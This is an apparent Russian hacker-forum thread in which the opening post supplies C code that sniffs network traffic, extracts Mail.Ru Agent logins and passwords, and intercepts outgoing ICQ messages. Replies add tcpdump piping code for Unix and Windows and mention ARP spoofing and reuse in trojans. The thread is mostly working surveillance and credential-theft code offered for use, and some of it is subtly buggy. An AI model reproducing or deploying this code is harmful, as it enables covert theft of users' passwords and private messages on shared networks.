Сейчас практически везде есть интернет, а это значит, что существуют сервера, которые его раздают. Крупные офисные сети, локальные сети, провайдеры ммм как много вкусной информации Анализаторов трафика или снифферов сейчас предостаточно, лично я пользуюсь wireshark, но мы же круты и напишем простейший сниффер на Си Ну, теперь трафика у нас предостаточно, что же мы будем с ним делать? Анализировать товарищи! но не руками, а функциями Давайте для начала напишем функцию, которая будет показывать логины и пароли при подключении Mail Agent-а. Изучив документацию по протоколу MRA становится ясно, что для подключения клиент должен послать пакет MRIM_CS_LOGIN2 нам остается лишь включить сниффер, найти этот пакет скопировать его дамп в файлик и написать функцию его разбора Code: int *mraTest(unsigned char *buffer,size_t buflen) { typedef struct mrim_packet_header_t { unsigned long magic; // Magic unsigned long proto; // ?????? ????????? unsigned long seq; // Sequence unsigned long msg; // ??? ?????? unsigned long dlen; // ????? ?????? unsigned long from; // ????? ??????????? unsigned long fromport; // ???? ??????????? unsigned char reserved[16]; // ??????????????? } mrim_packet_header_t; typedef struct lps { unsigned long dlen; unsigned char str[255]; } lps; mrim_packet_header_t cs; lps datas; unsigned char *p,*d; unsigned char magic[]={0xEF,0xBE,0xAD,0xDE}; unsigned char login_msg[]={0x38,0x10,0x00,0x00}; unsigned char *pack; int i; unsigned long maxaddr; unsigned long packaddr; FILE *f; p=memmem(buffer,&magic,buflen,4); if(p!=0) { d=memmem(buffer,&login_msg,buflen,4); if(d!=0) { memset(&cs,0x00,sizeof(cs)); memcpy(&cs,p,44); if(cs.msg=0x1038) { // printf("%d %d\n",buflen,cs.dlen); if((buflen-sizeof(cs))<=80) // буффер без заголовка { return (int *)cs.dlen; } printf("Mail Agent login------------\n"); pack=(char *) malloc ( cs.dlen ); memcpy(pack,p+sizeof(cs),cs.dlen); memcpy(&datas,&pack[0],sizeof(datas)); if(datas.dlen>255){ return 0;} datas.str[datas.dlen]='\000'; printf("Login: %s\n",datas.str); memcpy(&datas,&pack[datas.dlen+4],sizeof(datas)); if(datas.dlen>255){ return 0;} datas.str[datas.dlen]='\000'; printf("Password: %s\n",datas.str); free(pack); return -1; } } } return 0; } функцию я писал давно и она, к сожалению, не блещет интеллектом, но работает ) (З.Ы.: напиши лучше!) теперь чтобы наша функция работала в паре с нашим снифером допишем ее сюда Code: ... // анализ принятого буфера mraTest(buffer,resbuf); ... Ну, маил агент это как-то не интересно, давайте замахнемся на ICQ! но тут не все так просто лично я не знаю на данный момент программы, которая использует не шифрованную версию авторизации (кстати, в QIPе была галочка о простом доступе), а подобрать MD5 хеш пароля очень сложно ведь он по старым стандартам генерировался так впринципе изучив новый протокол мы можем спокойно вытащить и authkey (там не существенные изменения), а открыв программу в отладчике попытаться найти строку AIM_MD5_STRING, а патом долго брутить пароль хех Нет, мы реализуем кое-что поинтереснее, мы будем перехватывать переписку! Открыв сниффер включив миранду и отправив другу, сообщение я выяснил, что она отправляет сообщения вот таким макаром, а если быть еще точнее то таким. За дело! сохраняем дамп пакета и начинаем кодить... Code: void ICQtestMessage(unsigned char *buffer,size_t szbuffer) { int i=0,z=0; unsigned short *word; //{09461349-4C7F-11D1-8222-444553540000} unsigned char guid[16] = { 0x09, 0x46, 0x13, 0x49, 0x4C, 0x7F, 0x11, 0xD1, 0x82, 0x22, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00 }; while(i<szbuffer) { // ICQ sniff filter by Gar|k // разбор пакета SNAC (04,06)/CH2 // http://iserverd.khstu.ru/oscar/snac_04_06_ch2.html if(buffer[i]==0x2a && buffer[i+1]==0x02) // FLAP channel 2 { if(buffer[i+7]==0x04) // SNAC family 0x0004 - AIM Messaging { switch(buffer[i+9]) { case 0x06: // SNAC subtype 0x0006 - outgoing //message channel i+27 if(buffer[i+25]=0x02){ // Channel 2 (rtf messages, rendezvous) //buddy printf("AIM Message outgoing to: "); for(z=0;z<buffer[i+26];z++){putc(buffer[i+27+z],stdout);} i+=27+z;putc(0x0A,stdout); //разбирать сообщение мы будем для ICQ Server Relaying - {09461349-4C7F-11D1-8222-444553540000} if(memcmp(&buffer[i+14],&guid,16)==0){ // далее могут идти а могут и нет TLV различные, // поэтому стартуем поиск TLV 0x2711 - extention data i+=14+16; while(buffer[i]!=0x27 && buffer[i+1]!=0x11) i++; // опять пропускам левое i+=0x25; while(buffer[i]==0x00)i++; // message type printf("---------------------------\n"); switch(buffer[i]) { case 0x01: // plain text i+=8; puts(&buffer[i]); break; } } } break; } } //break; } i++; } } вот такой код вышел у меня, и он обрабатывает лишь исходящие сообщения. теперь прикрепляем его в наш сниффер Code: ... // анализ принятого буффера mraTest(buffer,resbuf); ICQtestMessage(buffer,resbuf); ... Я надеюсь, вы втянетесь в разработку фильтров ведь в ICQ я описал лишь прием, да и то только по второму каналу и 1 типу сообщения ) Если задумываться о развитии этого проекта, то можно скрестить его с базами данных и вести нехилое хистори пользователей сети хех ну или искать в сообщениях слова алах-агбар и палить IP пользователя компетентным органам З.Ы: по закону у каждого провайдера должен стоят сервер ФСБ, а что он там делает . В моем универе не хилая сеть, а администраторы мои друзья. Не дай бог там проверить почту зайти в аську или контакт
Gar|k, в большинстве сетей трафик идет через шлюз, а следовательно единственный выход ARP спуфинг, что сразу палится управляемыми свичами так что снифер в большинстве случаев не актуален
Эмм да возможно для большинства обывателей он и не доступен, но лично я не обычный обыватель и имею доступ к шлюзам-серверам. Самым распространненым примером может служить офисная сеть, которой нет только у компании где нет компьютеров так что твое "большинство" распространяется лишь на ушастых юзеров. Я думаю их доля на этом форуме мала, хотя...
тогда такой вопрос если ты админ, то нафиг тебе использовать снифер для воровства паролей из Mail Agent-а. ? у тебя же есть доступ к машине и ты спокойно через софт можешь вытащить любые пароли
представьте себе а я знаю пару обычных обывателей у которых тоже есть доступ к шлюзам и кстати можно узнать с каких пор на шлюзах стали ставить ОС Windows? а этот ваш сниффер он как бы только под нее откомпилируется
2 fire64 - так не интересно ))) потом подобный подход можно использовать в трояне... существуют много путей различных, можно расшифровывать файлы истории (Mail Agent) программ, можно вытаскивать пароли из памяти (дамп памяти процесса), можно вообще использовать аппаратный кейлогер, а можно анализировать траффик! я привел примеры и надеюсь что люди заинтересуются и напишут свои версии для протола POP, HTTP, FTP...
2 bons сниффер да, но фильтры написаны на Си, что нам мешает приспособить их для чтения файла отчета тогоже TCPdump-а ? )
Удобное если ты владелец шлюза / прокси. Потмоу как во многих локалках админ не может заходить на компы юзверей
2 bons, эм вот вариант для UNIX с использованием tcpdump в качестве сниффера Code: packet_filter.c: #include <stdio.h> #define BUFSIZE 1024 int main(int argc, char* argv[]) { unsigned char buf[BUFSIZE]; int szread; while ((szread = fread(buf,sizeof(unsigned char),BUFSIZE,stdin)) != NULL) { // анализ потока траффика... printf("read bytes %d",szread); } return 0; } комманда: cc packet_filter.c -o packet_filter tcpdump -t -p -n -i em0 -c 100 -w- / packet_filter что означает запустить сниффер на интерфейсе em0 перехватить 100 пакетов с выводом в сыром виде в stdout ( - после w) ну и сразу же pipe-ом перенаправить вывод на stdin нашей программы фильтра, который собсвтвенно и будет анализировать траффик (ну мож лишнее параметры типа -t...)
а вот так будет выглядеть симбиоз tcpdump-а и фильтра в windows Code: #include "stdafx.h" #include <windows.h> #define TCPDUMP_PATH "c:\\Downloads\\tcpdump_trial_license\\tcpdump.exe" #define TCPDUMP_ARG "-t -p -n -i 3 -c100 -w-" int _tmain(int argc, _TCHAR* argv[]) { SECURITY_ATTRIBUTES sat; HANDLE hRead,hWrite; STARTUPINFO startupinfo; PROCESS_INFORMATION pinfo; DWORD cnt=1; unsigned char buf[1024]; sat.lpSecurityDescriptor=NULL; sat.nLength=sizeof(SECURITY_ATTRIBUTES); sat.bInheritHandle=TRUE; if(CreatePipe(&hRead,&hWrite,&sat,NULL)==NULL){perror("not CreatePipe");} else { startupinfo.cb=sizeof(STARTUPINFO); GetStartupInfo(&startupinfo); startupinfo.hStdOutput=hWrite; //startupinfo.hStdError=hWrite; startupinfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; startupinfo.wShowWindow=SW_HIDE; if(CreateProcess(TCPDUMP_PATH,TCPDUMP_ARG, NULL,NULL,TRUE,NULL,NULL,NULL,&startupinfo,&pinfo)==NULL){perror("not CreateProcess");} else { CloseHandle(hWrite); while(1) { RtlZeroMemory(&buf,sizeof(buf)); if(ReadFile(hRead,&buf,sizeof(buf)-1,&cnt,NULL)==NULL){break;} /*-------------------- обработка потока buf ======================*/ } } CloseHandle(hRead); } return 0; } вот наткнулся на очень полезную статью по RAW сокетам длинну передаваемого пакета можно определить по IP заголовку... дальше посмотреть заголовки TCP и если например порты которые мы фильтруем совпадают то вычеслить размер пакета и забрать его полностью из буфера чтения... а дальше анализировать ой как весело зная что это приблизительно за пакет хех )) удаче
хе, компилятор после такой команды затрёт исходник к черту перенаправление вывода обычно делается символом '|' а не так как у тебя. Ну и после параметра -w думаю нужен пробел. А так вроде ниче, может быть даже и заработает. А наверно еще проще было бы заюзать уже существующие анализаторы дампов типа ngrep. Даже если подходящих не найдешь то во всяком случае писать такое стоило бы на perl или shell, так быстрее
OSCAR (ICQ), MRA бинарные протоколы... в типизированых языках проще перевести нужное в byte word dword, а на perl пришлось бы извращатся с функцией pack и тому подобное... конечно для текстовых протоколов таких как HTTP, IRC, POP, SMTP perl предпочтительней. Но я надеюсь что моя программа обойдет по скорости Perl скрипт )) в крайнем случае для Си/Cи++ есть библеотека PCRE - реализующая работу регулярных выражений в стиле Perl